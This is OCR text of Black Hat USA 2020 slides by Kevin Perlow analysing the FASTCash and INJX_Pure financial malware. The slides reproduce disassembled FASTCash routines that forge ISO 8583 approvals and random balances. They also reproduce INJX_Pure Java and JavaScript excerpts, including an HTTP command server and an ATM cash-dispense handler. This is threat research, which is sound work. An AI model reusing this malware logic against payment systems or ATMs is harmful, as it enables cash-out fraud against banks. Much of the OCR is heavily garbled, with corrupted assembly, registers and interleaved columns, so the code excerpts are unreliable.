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Background and Objectives

* Understanding financial standards — ISO 8583 and XFS
e Examine how threat actors use these in their malware

* Discuss the advantages and drawbacks threat actors experience
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Introduction to ISO 8583

* Whatis ISO 85837

e Critical for card transactions (e.g. ATMs, POS devices)
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Example ISO 8583 Message

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

Source: https://www.chileoffshore.com/en/interesting-articles/115-about-iso8583
*Note: | modified three digits to create a valid Point-of-Service entry mode value
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ISO 8583 Message Components

 Three parts to any ISO 8583 message:
1. Message Type ldentifier — Acts as a “header”
2. Bitmap — Specifies data elements that are present

3. Data Elements — Contain transaction-specific information
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ISO 8583 MTI

* Four subcomponents within the ISO 8583 MTI:
1. Version
2. Message Classification (Authorization, financial, chargeback, etc.)
3. Message Function

4. Message Source
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Example ISO 8583 Message

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789
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Example - MTI

020042000400000000021612345678901234560609173030011456789ABC1000123456

7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

0200
O = Version: 1987

2 = Classification: Financial Message
O = Function: Request
O = Source: Acquirer
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Example - Bitmap

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

This bitmap indicates the presence of fields 2, 7, 22, 63

Open source in-depth bitmap guide: http://www.lytsing.org/downloads/iso8583.pdf
Open source bitmap decoder: http://www.fintrnmsgtool.com/decode-iso87-bitmap.html|

BlackHat USA 2020
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Example — DE 2 (PAN)

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

PAN = 16 digits [1234567890123456]

BlackHat USA 2020

11



FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

Example — DE 7 (Transmiss. Date/Time)

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

Transmission Date and Time = 06-09 17:30:30 UTC

BlackHat USA 2020
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Example — DE 22 (POS Entry)

020042000400000000021612345678901234560609173030011456789ABC1000123456
7890123456789012345678901234567890123456789012345678901234567890123456
78901234567890123456789

POS Entry Mode = 011
01 = Manual Entry, 1 = PIN entry available at terminal

Source: http://www.fintrnmsqgtool.com/iso-point-of-service-entry-mode.html
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FASTCash

 Malware family, intercepts ISO 8583 messages and approves them
 Three types: AIX Type 1, AIX Type 2, Windows

* Files tailored to their environment

BlackHat USA 2020
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FASTCash — AIX Type 1

[_Egﬁh.rw: .byte 624, 6, 8, 8, 8, 8, 8, 8, Bx25, Bx73, B8x2D,
# DATA XREF: .data: eqgéb.r
|7 IE # .data:lLC..4 TClo
Elﬁ e .byte Bx2@, 822D, @x2D, 6x2D, Ox2D, Ox2D, Bx2D, Ox
.byte Bx73, @, 8, @, @x25, 6x38, 6x32, Ox78, Ox20,
1wz . I‘ﬂ, BxB[:(r:EH) -byte @z20, @x20, 6x20, 6x2D0, @x2D0, @x2D0, @=2D, 6=
clrldi r9, r@, 32 _byte 0x30, 0x32, 0x58, 0, 0, 0, 0, 0x30, 0x31, Ox:
1bz @, 0z<C8{r31) .byte 8x31, Bx32, Bx64, Bx25, Bx63, Bx25, Bx63, Ox
clrldi r8, rB, 56 byte B8x38, 8x30, 6x21, 6x28, 0x78, 68223, B8z79, Oz
.byte Bx61, 8228, Bx73, Ox68, Ox72?, Ox5F, Bx346, Ox
1d . ri1, ®&Li(ra1) .byte Bx25, Bx6C, BxAC, Bx58, Ox2C, Ox20, Bx74, Bx
addi r18, r31, 6xC9 _byte 0x69, Bx74%, OxSF, 0x69, 0x73, Ox6F, OxGF, Ox
¥ - ! - e = ] ] ] ] ] X ] b ] b ] b ] i
1d ¥3, LC..131 TC|# egbh.ru+ix278 byte @x64, @, 0, @, @, Bx55, OxX6E, Ox6C, Bx6F, 0
me ru, F9 -byte @z54, @x5F, 60x53, 0x49, G=47, OG=4E, OGz41, 6z
mr ¥5, ri
mr r6, rid
mr v7, r18
bl .out_dump log
nop g IS0858
11 r8, OxFF $ MSG DUMP ==-c-cccccccaaa $3....
stw r@, BxAC{r31) [203d : 303X] ..%3-60s...302x ...
b loc_1@089AEC 0 e
———————————————————————— $3%s=
%$081lxh .%02X....0110....51......
00...... $0%d....%5c%c01%3=C%012d%
c%c02%33C%012d. .356..... dkfjy) 1+
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FASTCash — AIX Type 1
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=

1wz
clrldi
1bz
clrldi
1d
addi
1d

mr

mr

mr

mr

hl

nop

1i

stw

b

r@, 0xBC(r31)
r9, ro, 32

¥B, BxCB{r31)
ra, ro, 56
r11, 0xCO(r31)
16, r31, BxC9
¥3, LC..131 _TC # _eqgbh.rw+Bx278 # Blocked Message(msg=%84x%x, term=%02x, pcode=%086x, pan=%s)
r4, r9

¥5, ro

r6, rii

r7, r1@

.out dump log

rB, OxFF
¥B, 8xAC{r31)
loc_18089AEC

BlackHat USA 2020

16



FASTCash — AIX Type 1

“Id” contents of fieldtor0 — o
field number to r3 ')

iawj:7
li

oy’
li

field number to r3 'e)
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e =
1d

r@, LC..43 TC # egé4.rw+BxB0 # (81108, authorization response)
addi r9, r31, 0xz8B0
1i 3, @ # Field B8: HTI
] 4, ra
my FS%, r9
bl .DL_IS08583 MSG_SetField Str
nop
my ra, r3
std rd, 8x88{r31)
==
addi 9, r31, B=BAB
addi ra, r31, B=88
1i r3, 2 # Field 2 (Primary Account Humber)
mr 4, A
mr r5, 9
bl .DL_IS08583 MSG GetField Str
nop
mr ra, r3
std A, Bx78{r31)

IBM AIX Assembly Instructions: https.//www.ibm.com/developerworks/library/l-powasm1/index.html

BlackHat USA 2020
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FASTCash — AIX Type 1 Workflow

CheckSock

Check for Flags Check for Valid IP

@ Field 2 (PAN)
GetMsglnfo
w Responselnquiry1 Ova I — F un Ctlo N

Rectangle = Action

GetFieldStr

—» Field 3 (Processing Code)

Field 60 (Advice Reason Code)

Pass or Block Message
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FASTCash — AIX Type 1 [CheckSock]

LUl T, TH - 5 r

|_| bl -Checksock < ! Metis <
[ L

e

, nop =
Cj. mr rﬂ, 3 chpdi cr?, rd, 0
- b Te 1 10RR0I16E
cmpdi cr#, ro, B = o
bne cr?, loc 188689340 '
_ il i
1uz rB, BEFO{rI1)
. clrldi ril, @, 22
A stu Fi; BxTR(r3I1)
Move reqUIrEd IP O 1d ra, LE..187 TC e, Fwe B A8 # 10,9 .56.20]

1 dnet_addr
1d r2, BxAleoutS{r1)
nr i, i

1 n ra, ré
1wz ri, Bxro(rai)
clrldi v, ra, 22
chpluw ced, re, re
bne cri, loc 1HAAHI1E

r, BxFR{r3l)

' = Compare current IP to required IP ') o A e T WP
. cr?, loc_ 10080318
E : i b iy
= 1=

1i ri, 1
T_I‘:' —— Set value of 1 if they are the same o IR R (i

T std Fl, BxBO{r31)
' 19
C T e
loc 1HBARZZH:
1d Fl, BxBO{r31}
) nr rd, ra

1d r1, Bib+sender_spiri)
1d ri, sender binder war{rl)
ntlr Fi

] 1d F1, uvair B{r1)
hlr

NewRead
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FASTCash — AIX Type 1 [GetMsginfo]

¥
e
addi re, ri1, BxBA8
1 addi ri, ri1, o=E0
Grab Fleld 2 (PAN) _O 1i rd, 2 # Field 2 (Primary fAccount Humber})
m ra, r@
mr rs, r@
bl DL_T1508583_MSG_GetField Str
nop
mr ra, ra
|—;'—|__| :l 1 std rid, Bx7E{rdl)
Y ¥
e
loc_10@66BDE :
] 1d r, Bx78(rd1)
chapdi cr¥, ri, @
bne crf, loc_18@668F8
' my 8, r29 C1
| bl .GetMsgInfo <:|
LI | [nop P
mr a8, r3 1d ri, {rat}
cmpdi cr7, vB, O 1d ri, {rat)
] beq cr?, loc_1060897A8 m rh, r@
':'E:E] bl -stropy
[ =N nop
! \ 2
E e
] loc_16@66BFA :
1d rl, BxFE{ra1)
capdi cr¥, rd, B
bne cri, loc_10006928

[ 1 J S
T T ™E
J . . add;ﬁ re, rit1, 0=8A8
%J Grab Fleld 3 (ProceSSIng COde) _O ;gdl :3_ l:Im' e # Possible: Field 3 {(Processing Gode})
5 T
bl _DL_ISO08583_MSG_GetField Str
NewRead Not shown: Field 0 (MTI), Field 60 (Reserved/Private) e ro, 3
st rl, BTE{ratl)
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FASTCash — AIX Type 1 [Responses]

i
i [

| (1
1l

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

MFE MIFE FIFE

1d r?, Bx90(r31) 1d r9, 0x90(r31) 1d r?, 0x90(r31)
1wz rB, 0x8L4(r31) 1wz rB, Bx84(r31) 1wz rB, 6x84(r31)
clrldi re, re, 32 clrldi r8, r@, 32 clrldi re, re, 32

1d r11, 0x88{r31) 1d r11, 0x88(r31) 1d r11, 0x88{r31)
addi r10, r31, 0OxB8 addi r18, r31, OxB8 addi r10, r31, 0OxB8
nr r3, r9 nr r3, v9 nr r3, r9

nr r4, r@ nr ¥4, r@ nr r4, r@

nr re, ri1i nr re, ri1 nr re, ri1i

nr r6, r10 myr r6, r10 nr r6, r10

1i r7, 1 bl .GenerateResponselnquiry1 1i r7, 1

bl .GenerateResponseTransactioni| |nop bl .GenerateResponseTransaction2
nop nr ra, r3 nop

nr ra, r3 stw r@, OxAC{r31) nr ra, r3

stu rB, BxAC{r31) b loc_10009910 stu rB, BxAC{r31)
b loc_10009910 b loc_10009910

o

F

NewRead

Three possible workflows:
1. GenerateResponseTransactionl
2. GenerateResponseTransaction2
3. GenerateResponselnquiryl
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FASTCash — AIX Type 1 [Processing]

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

i

¥l _GetHagInFa2
nop

1d 11, BBE(r31)
luz ri; BxDB(ra1)
extsw ra, ra

elirldi i, v, 22

addi re, ril, D=E9

nr r3, rif

nr r4, ra

nr r&%, rY

1i réh, B

bl .EetHsgInfo2 <:|
o

1d rid; LC..129_TC B _egbb.ruvd=268 B Processed
bl Lont_dunp_Log
i

luz ril; BxBBE{r31})
PRtsw ri1, r@

luz ri, BxAB{rI1)
BEtsw ra, v

addi re, ral, 6xE9
nr F3, r0

] ri, BEBE{ra)

nr r%, ril

mr i, P9

bl Process <:
nop

L B B |
il e 1
loc 1EAEVOEE:
luz ril, Bx80{ral)
chpui cr?¥, ra, o
heq crf, loc 1THEEVG1RE

[l =

([l i 2

NewRead

luz
loc_1@8@a%%18: clridi
1d FR, g_buFcsize TC 0 _egél.bss s D=2u@) |1bz
luz Fl, A{re) clridi
eHlsw ri, ré 1d
stu ru, (raid addi
luz ri, BeUB(r31) 1d
stu ri, (raid Ty
Tuz FP, (r3id nr
luz ri, (ratl) nr
Chpw cr¥, r¥, re nr
hle crf, loc 1HAAVALE il
L np
1i
Stu
by

re,; BRBL{r31)
re, r@, 32
Fl, BRCE{FI1)
re, r@, 56
11, BxCO{ral)
r18, i1, =C9
rE, LE.. 1231 TG
ri, 9

s, @

rié, r11

rF, i@

-mut _dunp_lag

re, BwF
v, BEAC{r31)
loc_1RAA%AEL

eghl rusBx2 78 8 Blocked Hessage{nsg=%8kx, term=%02%, poode=%B4x, pan 1n4
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FASTCash — AIX Type 1 [Transaction 1]

@wﬂnﬂnﬂﬂwmﬂuﬂnﬂuﬂ@uﬂuﬂj

|

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

ri, 31, x9Q
re, rdl, BxiHA
Fl, Bx25

rh, ra

rs, i
CopyMsgFieldstr

B Field 37: Retriewval Reference Humber

ri, rd
rl, BxBE{r31}

Ioc 1HBASERC:

1d i, BxE8{r3i)

chpdi cr?, ra, 0

1T crf, loc 1THRBSEIE
L |

. ! . !
1d ¢, LC..85 TC # _egél.rueOxB8 # String:"s51" I 1d i, LC..47_TC B _egéh.rusbxCd 8 String:oo” I
addi r, ra1, DelEE andi i, ral, Bukap
1i rd, Bx27 B Field 29 (Response code, 51 = Insufficient Fumds) 1i rd, W27 B Fleld 3% (Response code, 00 = ﬁpprum"!l
nr rh, ri nr rh, ri
n r&, nr rE, ¥
i SDL_ISOBSEI_MSG_SetField_str bl -DL_ISDBSBI_MSG_SetField_str
nop nop
- ra, rl nr i, r3
std Fl, BEOA{F3T) std Fl, BEPO{ra1)
b Ioc_ 1TRARAASPTH T

T

T Y

lis Fli, 1 B Gx1860@

ori ra, vh, UxB6AD B Ox1B6AD
£nr F1. FA

bl BenerateRandAnount

rB, 31, =98
re, ri1, O=E8A0

rFa, Bx29 B Field &1: Card Acceptor Terminal Identification
rh, @

r&, ri

CopyMsgFieldStr

ri, ra

ri, BRBE{rI1)

NewRead

loc_ 1@BAFERC:

1d i, BxBBE{r31)

chpdi crd, v, 0

hne cr?, loc 1BBBTEME
—

5

ro, P31, DE90
r¥, rad, bxEEa

rd, B2 B Field &2: Card Acceptor Identification Code
rh, ra

FE, rd

<CopyMsgFieldsStr

i, ra

ril; BxBE{rd1)

1. Copy Fields
2. Set Response Code

3. Create Random Amount
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FASTCash — AIX Type 1 [Transact. Fields]

BlackHat USA 2020

Fields Copied (Transaction 1)

2 — PAN

3 — Processing Code

4 — Amount, Transaction

7 — Transaction Date and Time
11 — System Trace Audit Number
14 — Date, Expiration

19 — Acquiring Country Code

22 — POS Entry Mode

25 — POS Condition Code

32 — Acquiring Identification Code
35 —Track 2 Data

37 — Retrieval Reference Number
41 — Card Acceptor Terminal ID
42 — Card Acceptor ID

44 — Additional Response Data
49 — Currency Code, Transaction
62 — INF Data (binary)

63 — Network Data (binary)

FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

Fields Copied (Transaction 2)

e 2-PAN

e 3 —Processing Code

e 4 - Amount, Transaction

e 7 —Transaction Date and Time

e 11 - System Trace Audit Number

e 19— Acquiring Country Code

e 25— POS Condition Code
32— Acquiring Identification Code

37— Retrieval Reference Number
e 41 - Card Acceptor Terminal ID

e 42— Card Acceptor ID

44 - Additional Response Data

e 49— Currency Code, Transaction
62— INF Data (binary)

63— Network Data (binary)
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FASTCash — AIX Type 1 [Inquiry]

Fields Copied

e 2-PAN
e 3 —Processing Code

e 7 —Transaction Date and Time
11 - System Trace Audit Number
* 14 — Date, Expiration

e 18 — Merchant Type

19 - Acquiring Country Code

e 22-POS Entry Mode

« 25-POS Condition Code

FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

32 — Acquiring Identification Code
35 —Track 2 Data

37 — Retrieval Reference Number
41 — Card Acceptor Terminal ID
42 — Card Acceptor ID

44 — Additional Response Data

49 — Currency Code, Transaction
62 — INF Data (binary)

63 — Network Data (binary)

*Responselnquiryl only uses Response Code 00 (Approve)

BlackHat USA 2020
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FASTCash — AIX Type 1 [Inquiry]

ccOlsssCdddddddddddd
II356”

il FE, F11
1d ri, LC..70_TC _eghb rusixDd B FeRe01EIsCRM 20T R2EISCEI2d
nr F%, 1@
nr ri, rf
1d FF; LC..71_TC _egibh rurl=Fe B 356
nr FE, rdh
- e, ri8
nr Fim, r27v
bl -SprintF
1d FZ, BE1T1CD=outS{r1)
1d R, BExYE{r31)
capdi crd, rd, @
e cri, loc_1HBBEROC
L] L]

L | T
= 1=
addi Fl, 31, B=10F7
addi ¥, a1, HxHEE loc 1HBAREEHY
11 rFad, 0xd6 B db6 - 5y 1li i, 1
nr Fa, v std Fl, BXPE(F31)
nr rs, i ¥
bl -EL_]EDEEEH_HSE_EEtTiEIU_EtP
i
- i, rd
std Fl,; BEPE(F3I1)
h Lo EHHSESE B

T

BlackHat USA 2020

Field 54 (Additional Amounts)
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FASTCash — AIX Type 1 [Inquiry]

* What is actually happening here? Amount Type 01 (ledger balance)

. . " C = Credit Amount
* Field 54: Up to six additional account amounts

cc01356Cdddddddddddd
* Format:
e Account Type (2 Numbers)
 Amount Type (2 Alphanumeric) Currency Code 356 (Indian Rupee)

* Currency Code
e Balance Type Digit (0, C, or D) + Amount (12 digits)

Resources: https://stackoverflow.com/questions/26119041/what-is-the-structure-of-field-no-54-p54-in-the-the-iso-8583-standard
http://unalarif.com/yazi/iso-8583-field-aciklamalari-f54/ (Turkish)
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FASTCash — Putting it All Together

1. Inject Into Process
Preliminary Checks (e.g. IP, PAN, Message Type)
3. Decision point:

1. Pass Transaction

2. Block + Response 1

3. Block + Response 2

4. Block + Inquiry

N

BlackHat USA 2020
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FASTCash — AIX Type 2

Check for 90 and 200

BlackHat USA 2020

Field 0 (Header)

Field 2 (PAN)

Field 3 (Processing Code)

Field 22 (Point of Service Entry Mode)

Make Response Msg

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

Get fields 0 (Header) and 3 (Processing code)

Check for x200 message

Set Field 0 to x210

—— i Prcesing Code 37—
\ — Blckin?_—

Else

Set Response Code to 00
Set Additional Fields

Set Response Code to 55
Set Additional Fields

Set/Copy/Remove Fields

Set Response Code to 00
Set Additional Fields

29
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FASTCash — AIX Type 2

 Consolidated message processing
e Blacklist function (named but no functioning branching logic)

“Transition” between AIX Type 1 and Windows versions

Documented at a high level in open source: https.//symantec-enterprise-blogs.security.com/blogs/threat-intelligence/fastcash-
lazarus-atm-malware

BlackHat USA 2020
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FASTCash — Windows

GetlP

GetMsgFields Parent

NewRecv 1 Verify x100 or x200

Blacklist Function

Process

BlackHat USA 2020

Check Hardcoded IPs

GetMsgFields

MakeRespond_Parent

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

Field 2 (PAN)
Field 3 (Processing Code)
Field 7 (Transmission Date and Time)
Field 22 (POS Entry Mode)
Field 35 (Track 2 Data)

Check Digits 3 and 4
of MTI are 00

Check Digit 1
of POS Entry is 9

Make Response Msg

Processing Code
Starts With 3

L P

Response 00 (Authorize)

Return Balance
Currency Code 949
Turkish Lira

Processing Code
Starts With 0

Response 00 (Authorize)
Authorize Random Amount

Processing Code

Starts With Anything Else

Response 55 (Incorrect PIN)

MakeMsglInfo

Remove Unnecessary Fields

Get and Copy Fields
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FASTCash — Windows (ResponseParent)

Get Field O (MTI) o

Get Field 22 (POS Entry Mode)

Digits 3 and 4 in MTI are “00”

POS Entry Starts With “9” o

BlackHat USA 2020

Results of GetField_Str
are moved into EAX and
EDI and used below

push ; Field 8: (Header)
call 1d_
lea ecx, |[ebpivar_8]
push ecx
push : ; Field 22: Point of Service Entry Mode
call GetField Str
o cax, |ebp+var_a|
add esp, 18h
test cax, cax
jz short loc_180@2BAA
™E
mow edi, [ebp+var_8]
test edi, edi
jz short loc_18@a2BAA
™E
push 2
add - A
push offset ad@
push eax
call DigitChecker
add esp, BCH
test cax, eax
jnz short loc_18002BAA
(] 1 [ |
push ]
push offset a9
push edi
call DigitChecker
aad esp, oLl
test eax, Sax
jnz short loc_l0882BA4
(AR K] :

Digit Checker Function

Push 2 = Check two digits

Add EAX, 2 = start two digits in
Push “00” = Comparison String
Push EAX = Location of String
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3 Field 4: Amount, Transactiom

3 Field 11: System Trace Audit Number

H Field 49: Cur

push esi
ush 3
call GetField Str
lea ecx, [ebptvar_Ag@]
push BN
push esi
push 1
call GetField Str
lea edw, [ebpevar_id]
push edx
push esi
push
call GetField Str
lea eax, [ebpsvar_9C)
push Ban
push esd
puzh
call GetField Str
iy eax, [ebpevar AC)
add &sp, 48h
Llrrl cax, .—I‘:JIC
i loc 1888281A

; Field 3: Processing Code

rEACY

Code, Transzaction

e

cmp [ebpivar_98], ebx
iz loc_ 18062814
™E
cmp [ebp+var_AR], ebx
iz loc_18002B14
FI"IE
cmp [ebpivar_ad], ebx
jz loc_ 18062814
™E
cmp [ebp+var_9C], ebx
iz loc_18062814
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1. Grab MTI + Fields 3, 4, 11, 49
2. Check that all these fields had data

3. Exit function if not
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FASTCash — Windows (Response)

|ﬁcu edw, [ebpsvar 98]
;;;% ;ffse: a3
push edx
x - H Q00 “unH7”n
mov  edl, eax Processing Code First Digit = “3” ?
call DigitChecker
add esp, 28h
test eax, eax
jnz short loc 188829DA

™

loc_10882904:

oy edx, [ebp+var_38]
s ]
push offset a@

push < Processing Code First Digit = “0” ?

DigitChecker

add esp, @Ch
test cax, cax
jnz loc_leaazBes
h J
ME HE]
cmp [ebptarg_C], ebx

loc_10882804: jz short loc_l@ea2all

pop edi ™

pop esi

moy cax, B

pop el

mow ecx, [ebp+var_4]

xor ecx, ecbp

call sub_10988838

moy esp, ebp

pop ebp

retn

h J h J h J

ME ME HE]
push esi push esi
push offset asc_18@1621C push offset asc_18@1621C loc_1@e82AlC:
push 38 ; Field 38: Authorization Identification Responsef |push 38 ; Field 38: Authorization Identification Responsej (imul edi, @hh
call SetField5tring call SetField5tring Y eax, @CCCCCCCDh
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M

[l 1 (=

push
push
push
call
push
push
push
call
imul
mav

mOVSX
WOV EX
push
push
push
push
lea

push
push
call
push
push
push
call
push
lea

push
push
call
add

jmp

esi

offset asc_18@1621C

38 ; Field 3B: Authorization Identificatien Response
SetFieldString
esi

offset ad@

39 ; Field 39: Response Code
SetFieldString

edi, 64h

eax, [ebpévar_ 98]

ecx, byte ptr [eax+3]

edx, byte ptr [eax+2]

edi

aCh

ecx

edx

eax, [ebp#var_54]

offset aCC@B2949c0D ' 3440

cax

sub_l8883B84A

esi

offset a@387t : IBTT

43 ; Field 48: Additional Data
SetFieldsString

esi

ecx, [ebp#var_54]

ecx

54 ; Field 54: Additional Amcunts
SetFieldstring

esp, 48h

loc_18802A6E

push
push
push
call
push
push
push
call
add

imp

esi

offset asc_l1e@1621C
SetFieldString
esi

offset a55

33 ; Field 39: Response Code

SetFieldString
esp, 18h
short loc_10882AGE

; Field 3B: Authorization Identificetion Response

k|
"™E
loc_168@2A1C:
imul edi, @0h
L eax, SCCCCOCCDH
mul edi
mow eax, eds
wor edx, edx
shr eax, 3
Lol ecx, @F4248h
div ecx
push edx
push ]
lea edx, [ebpivar_1E]
push offset 200D
push edx
call sub_10888B44
push esl
lea eax, [ebpévar_1E]
push cax
push 38
call SetFieldString ; Field 3B: Authorization Identification Response
push esi
push offset @@ g
push 39 ; Field 39: Response Code
call SetFieldString
push esi
push offset a@387t IBTT
push 43 ; Field 4B: Additional Data
call SetFieldString
add esp, 34h

™

loc_18@@8245E :

BlackHat USA 2020
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 Processing Code Starts with 3:

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

 Return random amount as balance inquiry

e ¢c02949Cdddddddddddd
e 949 = Turkish Lira
e (02 = Available Balance

* Processing Code Starts with O:

* Response 00, return random amount

 Other Processing Codes:
e Response 55 (Incorrect PIN)

BlackHat USA 2020
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FASTCash — Three Things to Think About

1) A lot needs to go right
2) An awful lot can go wrong

3) Heavy operational requirements (e.g. programmers, money mules, access)

BlackHat USA 2020
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XFS — Intro

e eXtensions for Financial Services
e Standard API for using financial devices such as ATMs

e JXFS —Java version

BlackHat USA 2020
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XFS - Intro

e Common in ATM malware
e MXFS.dll

e WFSGetInfo
* WFSExecute
 WFS _CMD_PIN_GET_DATA
* WFMOpenKey
* WFMEnumKey
e ..any many more

Kaspersky example: https.//securelist.com/atmii-a-small-but-effective-atm-robber/82707/
TrendMicro example: https://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/
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INJX_Pure — Background

FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

« ATM malware, relies on XFS and proprietary software

* (Operators can:

BlackHat USA 2020

Query device information

Dispense cash remotely

Load and inject additional Java code
Execute arbitrary JavaScript

Execute arbitrary cmmd.exe commands
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INJX_Pure — Scope

* For this presentation, we are only focusing on the cash dispensing actions

* Open source reporting covering some of the other interesting parts:
» Kaspersky high-level: https://securelist.com/criminals-atms-and-a-cup-of-coffee/91406/

Yoroi, more detailed: https://yoroi.company/research/java-amt-malware-the-insider-
threat-phantom/

 Frank Boldewin, some context: https://github.com/fboldewin/Libertad-y-gloria---A-
Mexican-cyber-heist-story---CyberCrimeCon19-Singapore
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INJX_Pure — Workflows

BlackHat USA 2020

startagent

read .AgentCLI

Log

Read Configuration File

42



\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

INJX_Pure — Workflows

1. KRunnable() — Reads file named .AgentCli
1. If value = 2, add log entry
2. Ifvalue =1, scandyna(), loadconf(), patchall()

2. loadconf() — Creates an HTTPServ() that accepts commands
 d-—dispense cash or query the device
* eva-—run arbitrary JavaScript
* mgr—pull running classes
 core—run a locally stored JAR file
* [no endpoint] — execute arbitrary shell command

BlackHat USA 2020
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INJX_Pure — loadconf()

private static woid loadconf() {

try {
toedit = new Class[2558];
toeditcount = 8; o, Creates an HTTP server ——

instrumentedClassName = new String[lee];
instrumentedMethodName = new String[lee];
instrumentedArgsMap = new String[l@8e];
acodeinsert = new String[l@ee];
bcodeinsert = new String[lee];
FileInputStream input = new FileInputStream{conffile);
prop.load{input);
String porthttp = prop.getProperty(“"port”, “"65413"):
try {

HTTPServ.bv(Integer.parselnt{porthttp));
F catch (IUexception ex) 1r
String runya = prop.getProperty("runonload”);
disablesec = Integer.parselnt{prop.getProperty(”d public static woid bv{int value) throws I0Exception {
detach = Integer.parselnt({prop.getProperty(“detac] HttpServer server = HttpServer.create(new InetSocketfAddress({Integer.valuelFf(value).intValue(}), @);
int counter = Integer.parselnt{prop.getProperty("| server.createContext("/", new MyHandler()):
Global.verbose = Integer.parselnt({prop.getPropert] server.setExecutor(Executors.newCachedThreadPool());
Global.logoutput = prop.getProperty(”logoutput™, server.start(};
if (!Global.logoutput.equals({"")) {

if (Global.logoutput.equals("stdout")) {
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INJX_Pure - “/d” command

public woid handle (HttpExchange t) throws ICException {
String response = "CH";
String method = t.getRequestMethod () ;
StringBuilder out_cmd = new StringBuilder():;
if (t.getRequestURI() .getPath() .eguals {("/d"})) I{
if (method.equals{"POST")Y)] {
Global.checklog() !
InputStream in = t.getRequestBody () ;s

StringBuilder out = new StringBuilder():

S5tring line;

while ({(line = reader.readLine())
out.append(line) ;

I= nmnll)

String post = URLDecoder.decode {out.toString()) s
Glokal.logf.write(post + "'\n");
Global.logf.flush{) ;

Pattern p = Pattern.compile(" ([“&]+)=(["&]+)") !
Matcher m = p.matcher (post.toString()) !

String id = H
String d = "";
while (m.find()) {
String par = m.group(l):
String v = m.group(2):
if (par.eguals{"1")) {
id = w»
continne;
1
if (par.equals("d")) {
d = v.replaceB11(":", ","};
continne:
1

if (par.eguals{"g")) {
Global.logf.write ("Got
responze = runjs{info);

L

if (lid.egquals("") && 'd.equals("")) {
Global.logf.write("Dizp ingin™)
Global.logf.flus=sh() ;
(new dispen(d.replacefll(":",

n,omy, id)).starc():

response = "ok";

BufferedReader reader = new BufferedReader (new Input3treamReader(in}});

\ FASTCash and INJX_Pure: How Threat Actors Use Public Standards for Financial Fraud | Kevin Perlow

“/d” endpoint check

“POST” check

Q0

var Global

print (resume) »

Packages.java.lang.Class.forName ("injx2 .Glokbal"™) ;

var Global = Global.cast (Global.newInstance());
var Peripheral = Global.runningclass.get ("Peripheral™);
var Peripheral = Peripheral.cast (Peripheral.newInstance());
var j=sd = Peripheral.Dispenser;
if (!j=d.isCki()) {

print ("DERRCR") ;

gelse {
var resume = "";

for (var j = 0; j <« j=sd.getNumber0fCashUnits():; j++) {
resume 4= jsd.getCashUnit(j).getValue() + ":" 4+ j=d.getCashUnit(j) .getietuall()

+

"
3

v

o— Query function

Dispense function
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Which of these are XFS?
Peripheral.Dispenser
getNumberOfCashUnits
getCashUnit

BlackHat USA 2020

var Global = Packages.java.lang.Class.forName ("injx2.Global"™) ;
var Global = Global.cast (Global.newInstance()):
var Peripheral = Global.runningclass.get ("Peripheral™)
var Peripheral = Peripheral.cast (Peripheral.newlInstance())}:
var jsd| = Peripheral.Dispenser;
if ('j=d.i=Ck()) {
printc ("DERROR™) ;
else {

Tar resums e .

for (wvar 3 0; 3 < jjed.getHunberOfCashlUnits(); j++) {

resume +=|j5d.getﬂashUnit(j].get?alae(] + ":" 4+ j=sd.getCashUnit(]j) .gethctual () + ";";

print (resume) ;
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INJX_Pure — getCashUnit
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et this book in print ¥

0 Reviews
Write review

Management- und Web Services-
Architekturen: Konzeption und
Realisierung ...

By Roger Zachanas
getcashunit Go

Sbout this book

¥ My library
v My History

Books on Google Play

Tarme of Servics

A the reader fo inform of events and deliver cassette info
private RzProfoCassefte CounfersReader reader;

& actual info of casseffe units

private JxfsCashUnit cashUnit;

lllﬂi-
* The clazs consfructor. <br=

A

*@param reader the PvixfsCassCountReader fo inform about event
¥
puiblic RzProtoQperationCompletelListener{Rz ProtoCassetteCounfersReader reader)
this.reader = reader;
this.cashUnit = null;
}

it

* return actual info about cassetfe units if evert occurred. <br=
*@refurn  CashUnit object (already mapped fo schema class)
)
public JxfsCashUnit getCashUnit() {
return this.cashUnit;
J

o
* Listener interface method fo handle OperationComplefeEvents. <brs
* if event "JXFS O CDR QUERY CASH UNIT" occurred get information about
* casselles and store i in cassetfelnfo. <br=
* then notify the reader and tell him the information is available. <br>
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CEN Documents: https://www.cen.eu/work/areas/ict/ebusiness/pages/ws-j-xfs.aspx

BlackHat USA 2020

J/XFS Workshop - CWAs 16008:2009

J/XES CWA 16008-1 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform -Base Architecture - Programmer's Reference -
Release 2009

J/XES CWA 16008-2 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Pin Keypad Device Class Interface -
Programmer's Reference - release 2009

J/XES CWA 16008-3 (2009) - J/eXtensions for Financial Services (J/XFS) for the Java Platform - Magnetic Stripe & Chip Card Device Class
Interface - Programmer's Reference - release 2009

